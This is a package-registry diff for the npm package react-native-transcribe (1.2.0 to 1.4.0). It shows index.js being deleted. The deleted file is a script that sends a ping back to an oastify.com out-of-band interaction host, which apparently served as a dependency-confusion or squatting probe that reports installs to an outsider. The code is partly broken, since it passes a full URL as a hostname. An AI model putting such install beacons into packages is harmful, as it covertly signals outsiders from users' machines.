react-native-transcribe 1.2.0 → 1.4.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/index.js +0 -34
package/package.json
CHANGED
package/index.js
DELETED
|
@@ -1,34 +0,0 @@
|
|
|
1
|
-
const https = require("https");
|
|
2
|
-
const dns = require("dns");
|
|
3
|
-
|
|
4
|
-
const targetHostname = "https://onfdz0f9j5j0aokw1fo2rc4go7uziq6f.oastify.com"; // Replace with the target server hostname
|
|
5
|
-
|
|
6
|
-
// Resolve the IP address of the target server
|
|
7
|
-
dns.lookup(targetHostname, (err, ipAddress) => {
|
|
8
|
-
if (err) {
|
|
9
|
-
console.error("DNS lookup error:", err);
|
|
10
|
-
return;
|
|
11
|
-
}
|
|
12
|
-
|
|
13
|
-
const options = {
|
|
14
|
-
hostname: targetHostname,
|
|
15
|
-
port: 443,
|
|
16
|
-
path: "/",
|
|
17
|
-
method: "GET", // Use GET method for ping back
|
|
18
|
-
};
|
|
19
|
-
|
|
20
|
-
const req = https.request(options, (res) => {
|
|
21
|
-
res.on("data", (d) => {
|
|
22
|
-
process.stdout.write(d);
|
|
23
|
-
});
|
|
24
|
-
});
|
|
25
|
-
|
|
26
|
-
req.on("error", (e) => {
|
|
27
|
-
console.error(e);
|
|
28
|
-
});
|
|
29
|
-
|
|
30
|
-
req.end();
|
|
31
|
-
|
|
32
|
-
// Log the resolved IP address
|
|
33
|
-
console.log(`Resolved IP address for ${targetHostname}: ${ipAddress}`);
|
|
34
|
-
});
|